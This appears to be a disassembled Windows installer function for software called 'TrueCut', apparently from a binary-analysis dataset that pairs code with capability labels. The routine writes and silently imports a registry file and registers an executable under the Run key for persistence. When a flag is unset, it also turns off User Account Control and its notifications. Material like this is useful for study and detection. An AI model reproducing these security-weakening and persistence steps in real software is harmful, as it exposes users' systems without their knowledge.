Function at 0x40def0
Capabilities:
Create directory
Create process on windows
Delete file
Extract resource via kernel32 functions
Get common file path
Get program files directory
Persist via run registry key
Set current directory
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x534c29
mov eax, dword fs:[0]
push eax
mov eax, 0xcd00
call fcn.0051c1e0
mov eax, dword [0x595834]
xor eax, ebp
mov dword [ebp - 0x20], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x1c], 0
cmp dword [0x5991f8], 0
je 0x40df3b
call fcn.0040be50
push 0
push 0x26
lea eax, [ebp - 0xca24]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea ecx, [ebp - 0xca24]
push ecx
lea ecx, [ebp - 0xca2c]
call fcn.00401c80
mov dword [ebp - 4], 0
push 0
mov edx, dword [ebp - 0xca2c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp dword [0x5991f8], 0
je 0x40e01f
push 0
push str.__x86_
lea ecx, [ebp - 0xca2c]
call fcn.00411060
cmp eax, 0xffffffff
jne 0x40e01f
mov eax, str.__x86_
test eax, eax
jne 0x40dfb3
mov dword [ebp - 0xca90], 0
jmp 0x40e008
mov dword [ebp - 0xcc4c], str.__x86_
mov ecx, dword [ebp - 0xcc4c]
add ecx, 1
mov dword [ebp - 0xcc50], ecx
mov edx, dword [ebp - 0xcc4c]
mov al, byte [edx]
mov byte [ebp - 0xcc51], al
add dword [ebp - 0xcc4c], 1
cmp byte [ebp - 0xcc51], 0
jne 0x40dfcc
mov ecx, dword [ebp - 0xcc4c]
sub ecx, dword [ebp - 0xcc50]
mov dword [ebp - 0xcc58], ecx
mov edx, dword [ebp - 0xcc58]
mov dword [ebp - 0xca90], edx
mov eax, dword [ebp - 0xca90]
push eax
push str.__x86_
lea ecx, [ebp - 0xca2c]
call fcn.00411a30
push 0
mov ecx, dword [ebp - 0xca2c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x85
push ecx
mov edx, esp
mov dword [ebp - 0xca40], esp
mov dword [ebp - 0xca9c], edx
mov eax, dword [ebp - 0xca2c]
sub eax, 0x10
mov dword [ebp - 0xca94], eax
mov ecx, dword [ebp - 0xca94]
push ecx
call fcn.0040a760
add esp, 4
mov dword [ebp - 0xca98], eax
mov edx, dword [ebp - 0xca98]
add edx, 0x10
mov eax, dword [ebp - 0xca9c]
mov dword [eax], edx
mov byte [ebp - 4], 1
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0xca9c]
mov dword [ebp - 0xcc5c], ecx
mov byte [ebp - 4], 2
mov byte [ebp - 4], 0
call fcn.0040d870
add esp, 8
cmp dword [0x5991f8], 0
je 0x40e196
mov byte [0x5991fd], 1
lea edx, [ebp - 0xca24]
test edx, edx
jne 0x40e0c5
mov dword [ebp - 0xcaa0], 0
jmp 0x40e11c
lea eax, [ebp - 0xca24]
mov dword [ebp - 0xcc60], eax
mov ecx, dword [ebp - 0xcc60]
add ecx, 1
mov dword [ebp - 0xcc64], ecx
mov edx, dword [ebp - 0xcc60]
mov al, byte [edx]
mov byte [ebp - 0xcc65], al
add dword [ebp - 0xcc60], 1
cmp byte [ebp - 0xcc65], 0
jne 0x40e0e0
mov ecx, dword [ebp - 0xcc60]
sub ecx, dword [ebp - 0xcc64]
mov dword [ebp - 0xcc6c], ecx
mov edx, dword [ebp - 0xcc6c]
mov dword [ebp - 0xcaa0], edx
mov eax, dword [ebp - 0xcaa0]
push eax
lea ecx, [ebp - 0xca24]
push ecx
lea ecx, [ebp - 0xca2c]
call fcn.00402030
push 0x546f7e
push str.__x86_
lea ecx, [ebp - 0xca2c]
call fcn.00409e50
push 0x86
push ecx
mov edx, esp
mov dword [ebp - 0xca44], esp
mov dword [ebp - 0xcae0], edx
lea eax, [ebp - 0xca2c]
push eax
mov ecx, dword [ebp - 0xcae0]
call fcn.00411890
mov byte [ebp - 4], 3
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0xcae0]
mov dword [ebp - 0xcc70], ecx
mov byte [ebp - 4], 4
mov byte [ebp - 4], 0
call fcn.0040d870
add esp, 8
jmp 0x40e19d
mov byte [0x5991fd], 1
cmp dword [0x5991f8], 0
je 0x40e1c8
movzx edx, byte [0x5991fd]
test edx, edx
jne 0x40e1c8
push 0x54bff8
push 0x93
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x10], eax
jmp 0x40e1dd
push 0x54bff8
push 0x8e
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x1c], eax
push 0xc800
push 0
lea ecx, [ebp - 0xc824]
push ecx
call fcn.0051ab50
add esp, 0xc
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x10]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
lea ecx, [ebp - 0xc824]
push ecx
call fcn.0051a400
add esp, 0xc
push 0x599220
lea edx, [ebp - 0xca2c]
push edx
lea eax, [ebp - 0xca48]
push eax
call fcn.0040a2f0
add esp, 0xc
mov dword [ebp - 0xcc74], eax
mov ecx, dword [ebp - 0xcc74]
mov dword [ebp - 0xcc78], ecx
mov byte [ebp - 4], 5
push str.ini.reg
mov edx, dword [ebp - 0xcc78]
push edx
lea eax, [ebp - 0x14]
push eax
call fcn.00411600
add esp, 0xc
mov byte [ebp - 4], 8
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0xca48]
sub ecx, 0x10
mov dword [ebp - 0xcae4], ecx
mov ecx, dword [ebp - 0xcae4]
call fcn.00409e10
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0xcae8], edx
push 0
push 0
push 4
push 0
push 0
push 0x40000000
mov eax, dword [ebp - 0xcae8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xca28], eax
cmp dword [ebp - 0xca28], 0xffffffff
je 0x40e302
push 0
push 0
push 0
mov ecx, dword [ebp - 0xca28]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 0xca3c]
push edx
mov eax, dword [ebp - 0x1c]
push eax
lea ecx, [ebp - 0xc824]
push ecx
mov edx, dword [ebp - 0xca28]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0xca28]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x598f30], 0
je 0x40e333
mov ecx, dword [0x598f30]
add ecx, 0x74
mov dword [ebp - 0xcaec], ecx
push 0
push 0x5a
push 0x402
mov edx, dword [ebp - 0xcaec]
mov eax, dword [edx + 0x20]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
call fcn.0041bedf
mov dword [ebp - 0xcaf0], eax
mov ecx, dword [ebp - 0xcaf0]
push ecx
lea ecx, [ebp - 0xca34]
call fcn.0040bce0
mov byte [ebp - 4], 9
mov byte [ebp - 4], 0xa
mov edx, dword [ebp - 0x14]
push edx
push str._S___s_
lea eax, [ebp - 0xca34]
push eax
call fcn.0040bd30
add esp, 0xc
push 0x599220
lea ecx, [ebp - 0xca2c]
push ecx
lea edx, [ebp - 0xca4c]
push edx
call fcn.0040a2f0
add esp, 0xc
mov dword [ebp - 0xcc7c], eax
mov eax, dword [ebp - 0xcc7c]
mov dword [ebp - 0xcaf4], eax
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0xcaf4]
mov edx, dword [ecx]
mov dword [ebp - 0xcaf8], edx
push 0
mov eax, dword [ebp - 0xcaf8]
push eax
mov ecx, dword [ebp - 0xca34]
push ecx
push str.regedit.exe
push 0
push 0
call fcn.0040d4e0
add esp, 0x18
mov byte [ebp - 4], 0xc
mov byte [ebp - 4], 0xa
mov edx, dword [ebp - 0xca4c]
sub edx, 0x10
mov dword [ebp - 0xcafc], edx
mov ecx, dword [ebp - 0xcafc]
call fcn.00409e10
cmp dword [0x598f30], 0
je 0x40e422
mov eax, dword [0x598f30]
add eax, 0x74
mov dword [ebp - 0xcb00], eax
push 0
push 0x5f
push 0x402
mov ecx, dword [ebp - 0xcb00]
mov edx, dword [ecx + 0x20]
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x59922c]
push ecx
push str.TC_TCServer
push str.SOFTWARETrueCut_tc_INSTALL
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0040d690
add esp, 0x10
mov edx, dword [0x599200]
push edx
push str.TC_TCPort
push str.SOFTWARETrueCut_tc_INSTALL
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0040d790
add esp, 0x10
mov eax, dword [0x599218]
push eax
push str.TC_PatchServer
push str.SOFTWARETrueCut_tc_INSTALL
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0040d690
add esp, 0x10
mov ecx, dword [0x599204]
push ecx
push str.TC_HTTP_Port
push str.SOFTWARETrueCut_tc_INSTALL
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0040d790
add esp, 0x10
mov ecx, 0x599210
call fcn.004110e0
mov ecx, 0x599320
call fcn.004110e0
mov ecx, 0x599214
call fcn.004110e0
mov edx, dword [0x599210]
push edx
push str.TC_Org
push str.SOFTWARETrueCut_tc_INSTALL
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0040d690
add esp, 0x10
mov eax, dword [0x599320]
push eax
push str.TC_Section
push str.SOFTWARETrueCut_tc_INSTALL
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0040d690
add esp, 0x10
mov ecx, dword [0x599214]
push ecx
push str.TC_User_office
push str.SOFTWARETrueCut_tc_INSTALL
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0040d690
add esp, 0x10
mov edx, dword [0x599220]
sub edx, 0x10
mov dword [ebp - 0xcb1c], edx
mov eax, dword [ebp - 0xcb1c]
push eax
call fcn.0040a760
add esp, 4
mov dword [ebp - 0xcb20], eax
mov ecx, dword [ebp - 0xcb20]
add ecx, 0x10
mov dword [ebp - 0xca50], ecx
mov byte [ebp - 4], 0xd
mov byte [ebp - 4], 0xa
lea edx, [ebp - 0xca50]
mov dword [ebp - 0xcc80], edx
mov byte [ebp - 4], 0xe
mov eax, dword [ebp - 0xcc80]
push eax
lea ecx, [ebp - 0xca24]
push ecx
lea edx, [ebp - 0xca54]
push edx
call fcn.0040a3d0
add esp, 0xc
mov dword [ebp - 0xcc84], eax
mov eax, dword [ebp - 0xcc84]
mov dword [ebp - 0xcb24], eax
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0xcb24]
push ecx
lea ecx, [ebp - 0xca2c]
call fcn.0040a5d0
mov byte [ebp - 4], 0x10
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0xca54]
sub edx, 0x10
mov dword [ebp - 0xcb28], edx
mov ecx, dword [ebp - 0xcb28]
call fcn.00409e10
mov byte [ebp - 4], 0x11
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0xca50]
sub eax, 0x10
mov dword [ebp - 0xcb2c], eax
mov ecx, dword [ebp - 0xcb2c]
call fcn.00409e10
cmp dword [0x5991f8], 0
je 0x40e79e
movzx ecx, byte [0x5991fd]
test ecx, ecx
jne 0x40e79e
push 0
push str.__x86_
lea ecx, [ebp - 0xca2c]
call fcn.00411060
cmp eax, 0xffffffff
jne 0x40e79e
mov edx, dword [0x599220]
sub edx, 0x10
mov dword [ebp - 0xcb3c], edx
mov eax, dword [ebp - 0xcb3c]
push eax
call fcn.0040a760
add esp, 4
mov dword [ebp - 0xcb40], eax
mov ecx, dword [ebp - 0xcb40]
add ecx, 0x10
mov dword [ebp - 0xca58], ecx
mov byte [ebp - 4], 0x12
mov byte [ebp - 4], 0xa
lea edx, [ebp - 0xca58]
mov dword [ebp - 0xcc88], edx
mov byte [ebp - 4], 0x13
push str.__x86_
lea ecx, [ebp - 0xca5c]
call fcn.00401c80
mov dword [ebp - 0xcc8c], eax
mov eax, dword [ebp - 0xcc8c]
mov dword [ebp - 0xcc90], eax
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0xcc90]
push ecx
lea edx, [ebp - 0xca24]
push edx
lea eax, [ebp - 0xca60]
push eax
call fcn.0040a3d0
add esp, 0xc
mov dword [ebp - 0xcc94], eax
mov ecx, dword [ebp - 0xcc94]
mov dword [ebp - 0xcc98], ecx
mov byte [ebp - 4], 0x15
mov edx, dword [ebp - 0xcc88]
push edx
mov eax, dword [ebp - 0xcc98]
push eax
lea ecx, [ebp - 0xca64]
push ecx
call fcn.0040a2f0
add esp, 0xc
mov dword [ebp - 0xcc9c], eax
mov edx, dword [ebp - 0xcc9c]
mov dword [ebp - 0xcb4c], edx
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0xcb4c]
push eax
lea ecx, [ebp - 0xca2c]
call fcn.0040a5d0
mov byte [ebp - 4], 0x17
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0xca64]
sub ecx, 0x10
mov dword [ebp - 0xcb50], ecx
mov ecx, dword [ebp - 0xcb50]
call fcn.00409e10
mov byte [ebp - 4], 0x18
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0xca60]
sub edx, 0x10
mov dword [ebp - 0xcb54], edx
mov ecx, dword [ebp - 0xcb54]
call fcn.00409e10
mov byte [ebp - 4], 0x19
mov byte [ebp - 4], 0x13
mov eax, dword [ebp - 0xca5c]
sub eax, 0x10
mov dword [ebp - 0xcb58], eax
mov ecx, dword [ebp - 0xcb58]
call fcn.00409e10
mov byte [ebp - 4], 0x1a
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0xca58]
sub ecx, 0x10
mov dword [ebp - 0xcb5c], ecx
mov ecx, dword [ebp - 0xcb5c]
call fcn.00409e10
cmp dword [0x5991f8], 0
je 0x40e7de
movzx edx, byte [0x5991fd]
test edx, edx
je 0x40e7de
push 0
push str.__x86_
lea ecx, [ebp - 0xca2c]
call fcn.00411060
cmp eax, 0xffffffff
je 0x40e7de
push 0x546f7e
push str.__x86_
lea ecx, [ebp - 0xca2c]
call fcn.00409e50
mov eax, dword [ebp - 0xca2c]
push eax
push str.TC_InstallPath
push str.SOFTWARETrueCut_tc_INSTALL
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0040d690
add esp, 0x10
push 0
call fcn.0051b02c
add esp, 4
mov dword [ebp - 0xcbac], eax
mov dword [ebp - 0xcba8], edx
mov ecx, dword [ebp - 0xcbac]
mov dword [ebp - 0xca6c], ecx
mov edx, dword [ebp - 0xcba8]
mov dword [ebp - 0xca68], edx
push str._m__d__Y
lea eax, [ebp - 0xca38]
push eax
lea ecx, [ebp - 0xca6c]
call fcn.0040bbe0
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0xca38]
push ecx
push str.TC_IDATE
push str.SOFTWARETrueCut_tc_INSTALL
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0040d690
add esp, 0x10
cmp dword [0x599208], 0
jne 0x40e89e
push 0
push str.EnableLUA
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0040d790
add esp, 0x10
push 1
push str.UacDisableNotify
push str.SoftwareMicrosoftSecurity_Center
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0040d790
add esp, 0x10
cmp dword [0x598f30], 0
je 0x40e8cf
mov edx, dword [0x598f30]
add edx, 0x74
mov dword [ebp - 0xcbb0], edx
push 0
push 0x61
push 0x402
mov eax, dword [ebp - 0xcbb0]
mov ecx, dword [eax + 0x20]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edx, dword [ebp - 0xca2c]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call fcn.0041bedf
mov dword [ebp - 0xcbb4], eax
mov eax, dword [ebp - 0xcbb4]
push eax
lea ecx, [ebp - 0xca30]
call fcn.0040bce0
mov byte [ebp - 4], 0x1c
mov byte [ebp - 4], 0x1d
call fcn.0041bedf
mov dword [ebp - 0xcbb8], eax
mov ecx, dword [ebp - 0xcbb8]
push ecx
lea ecx, [ebp - 0x18]
call fcn.0040bce0
mov byte [ebp - 4], 0x1e
mov byte [ebp - 4], 0x1f
cmp dword [0x5911e4], 0
jne 0x40ea34
mov edx, str.trojancut.exe
test edx, edx
jne 0x40e945
mov dword [ebp - 0xcbbc], 0
jmp 0x40e99a
mov dword [ebp - 0xcca0], str.trojancut.exe
mov eax, dword [ebp - 0xcca0]
add eax, 1
mov dword [ebp - 0xcca4], eax
mov ecx, dword [ebp - 0xcca0]
mov dl, byte [ecx]
mov byte [ebp - 0xcca5], dl
add dword [ebp - 0xcca0], 1
cmp byte [ebp - 0xcca5], 0
jne 0x40e95e
mov eax, dword [ebp - 0xcca0]
sub eax, dword [ebp - 0xcca4]
mov dword [ebp - 0xccac], eax
mov ecx, dword [ebp - 0xccac]
mov dword [ebp - 0xcbbc], ecx
mov edx, dword [ebp - 0xcbbc]
push edx
push str.trojancut.exe
lea ecx, [ebp - 0x18]
call fcn.00402030
mov eax, str.tc_au.exe
test eax, eax
jne 0x40e9c3
mov dword [ebp - 0xcbc0], 0
jmp 0x40ea18
mov dword [ebp - 0xccb0], str.tc_au.exe
mov ecx, dword [ebp - 0xccb0]
add ecx, 1
mov dword [ebp - 0xccb4], ecx
mov edx, dword [ebp - 0xccb0]
mov al, byte [edx]
mov byte [ebp - 0xccb5], al
add dword [ebp - 0xccb0], 1
cmp byte [ebp - 0xccb5], 0
jne 0x40e9dc
mov ecx, dword [ebp - 0xccb0]
sub ecx, dword [ebp - 0xccb4]
mov dword [ebp - 0xccbc], ecx
mov edx, dword [ebp - 0xccbc]
mov dword [ebp - 0xcbc0], edx
mov eax, dword [ebp - 0xcbc0]
push eax
push str.tc_au.exe
lea ecx, [ebp - 0xca30]
call fcn.00402030
jmp 0x40ec5a
cmp dword [0x5911e4], 3
je 0x40ea4a
cmp dword [0x5911e4], 1
jne 0x40eb4e
mov ecx, str.truep.exe
test ecx, ecx
jne 0x40ea5f
mov dword [ebp - 0xcbc4], 0
jmp 0x40eab4
mov dword [ebp - 0xccc0], str.truep.exe
mov edx, dword [ebp - 0xccc0]
add edx, 1
mov dword [ebp - 0xccc4], edx
mov eax, dword [ebp - 0xccc0]
mov cl, byte [eax]
mov byte [ebp - 0xccc5], cl
add dword [ebp - 0xccc0], 1
cmp byte [ebp - 0xccc5], 0
jne 0x40ea78
mov edx, dword [ebp - 0xccc0]
sub edx, dword [ebp - 0xccc4]
mov dword [ebp - 0xcccc], edx
mov eax, dword [ebp - 0xcccc]
mov dword [ebp - 0xcbc4], eax
mov ecx, dword [ebp - 0xcbc4]
push ecx
push str.truep.exe
lea ecx, [ebp - 0x18]
call fcn.00402030
mov edx, str.af_au.exe
test edx, edx
jne 0x40eadd
mov dword [ebp - 0xcbc8], 0
jmp 0x40eb32
mov dword [ebp - 0xccd0], str.af_au.exe
mov eax, dword [ebp - 0xccd0]
add eax, 1
mov dword [ebp - 0xccd4], eax
mov ecx, dword [ebp - 0xccd0]
mov dl, byte [ecx]
mov byte [ebp - 0xccd5], dl
add dword [ebp - 0xccd0], 1
cmp byte [ebp - 0xccd5], 0
jne 0x40eaf6
mov eax, dword [ebp - 0xccd0]
sub eax, dword [ebp - 0xccd4]
mov dword [ebp - 0xccdc], eax
mov ecx, dword [ebp - 0xccdc]
mov dword [ebp - 0xcbc8], ecx
mov edx, dword [ebp - 0xcbc8]
push edx
push str.af_au.exe
lea ecx, [ebp - 0xca30]
call fcn.00402030
jmp 0x40ec5a
cmp dword [0x5911e4], 2
jne 0x40ec5a
mov eax, str.rf.exe
test eax, eax
jne 0x40eb70
mov dword [ebp - 0xcbcc], 0
jmp 0x40ebc5
mov dword [ebp - 0xcce0], str.rf.exe
mov ecx, dword [ebp - 0xcce0]
add ecx, 1
mov dword [ebp - 0xcce4], ecx
mov edx, dword [ebp - 0xcce0]
mov al, byte [edx]
mov byte [ebp - 0xcce5], al
add dword [ebp - 0xcce0], 1
cmp byte [ebp - 0xcce5], 0
jne 0x40eb89
mov ecx, dword [ebp - 0xcce0]
sub ecx, dword [ebp - 0xcce4]
mov dword [ebp - 0xccec], ecx
mov edx, dword [ebp - 0xccec]
mov dword [ebp - 0xcbcc], edx
mov eax, dword [ebp - 0xcbcc]
push eax
push str.rf.exe
lea ecx, [ebp - 0x18]
call fcn.00402030
mov ecx, str.tc_au.exe
test ecx, ecx
jne 0x40ebee
mov dword [ebp - 0xcbd0], 0
jmp 0x40ec43
mov dword [ebp - 0xccf0], str.tc_au.exe
mov edx, dword [ebp - 0xccf0]
add edx, 1
mov dword [ebp - 0xccf4], edx
mov eax, dword [ebp - 0xccf0]
mov cl, byte [eax]
mov byte [ebp - 0xccf5], cl
add dword [ebp - 0xccf0], 1
cmp byte [ebp - 0xccf5], 0
jne 0x40ec07
mov edx, dword [ebp - 0xccf0]
sub edx, dword [ebp - 0xccf4]
mov dword [ebp - 0xccfc], edx
mov eax, dword [ebp - 0xccfc]
mov dword [ebp - 0xcbd0], eax
mov ecx, dword [ebp - 0xcbd0]
push ecx
push str.tc_au.exe
lea ecx, [ebp - 0xca30]
call fcn.00402030
push 0x54bc58
lea edx, [ebp - 0xca2c]
push edx
lea eax, [ebp - 0xca70]
push eax
call fcn.00411600
add esp, 0xc
mov dword [ebp - 0xcd00], eax
mov ecx, dword [ebp - 0xcd00]
mov dword [ebp - 0xcd04], ecx
mov byte [ebp - 4], 0x20
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0xcd04]
push eax
lea ecx, [ebp - 0xca74]
push ecx
call fcn.0040a2f0
add esp, 0xc
mov dword [ebp - 0xcd08], eax
mov edx, dword [ebp - 0xcd08]
mov dword [ebp - 0xcbd4], edx
mov byte [ebp - 4], 0x21
mov eax, dword [ebp - 0xcbd4]
push eax
lea ecx, [ebp - 0x14]
call fcn.0040a5d0
mov byte [ebp - 4], 0x22
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0xca74]
call fcn.0041b810
mov byte [ebp - 4], 0x23
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xca70]
call fcn.0041b810
push 5
push 0
push 0
mov ecx, dword [ebp - 0x14]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0xcbe0], edx
mov eax, dword [ebp - 0xcbe0]
push eax
mov ecx, dword [0x598f3c]
push ecx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0040d690
add esp, 0x10
push str.tc_au.exe
push str.trojancut.exe
lea ecx, [ebp - 0x14]
call fcn.00409e50
push 0x54c01c
push 0x598f3c
lea edx, [ebp - 0xca78]
push edx
call fcn.00411600
add esp, 0xc
mov dword [ebp - 0xcd0c], eax
mov eax, dword [ebp - 0xcd0c]
mov dword [ebp - 0xcc24], eax
mov byte [ebp - 4], 0x24
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xcc20], ecx
mov edx, dword [ebp - 0xcc24]
mov eax, dword [edx]
mov dword [ebp - 0xcc28], eax
mov ecx, dword [ebp - 0xcc20]
push ecx
mov edx, dword [ebp - 0xcc28]
push edx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0040d690
add esp, 0x10
mov byte [ebp - 4], 0x25
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xca78]
call fcn.0041b810
cmp dword [0x5991f8], 0
je 0x40edc6
call fcn.0040be80
cmp dword [0x598f30], 0
je 0x40edf6
mov eax, dword [0x598f30]
add eax, 0x74
mov dword [ebp - 0xcc30], eax
push 0
push 0x64
push 0x402
mov ecx, dword [ebp - 0xcc30]
mov edx, dword [ecx + 0x20]
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
mov eax, dword [0x598f3c]
push eax
push 0x54c000
lea ecx, [ebp - 0x14]
push ecx
call fcn.0040bd30
add esp, 0xc
push 0
push 0
mov edx, dword [ebp - 0x14]
push edx
call fcn.00429c0a
cmp dword [0x598f30], 0
je 0x40ee2e
mov ecx, dword [0x598f30]
call fcn.00409020
mov byte [ebp - 4], 0x26
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x18]
call fcn.0041b810
mov byte [ebp - 4], 0x27
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0xca30]
call fcn.0041b810
mov byte [ebp - 4], 0x28
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xca38]
call fcn.0041b810
mov byte [ebp - 4], 0x29
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xca34]
call fcn.0041b810
mov byte [ebp - 4], 0x2a
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.0041b810
mov dword [ebp - 4], 0x2b
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xca2c]
call fcn.0041b810
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x20]
xor ecx, ebp
call fcn.0051a243
mov esp, ebp
pop ebp
ret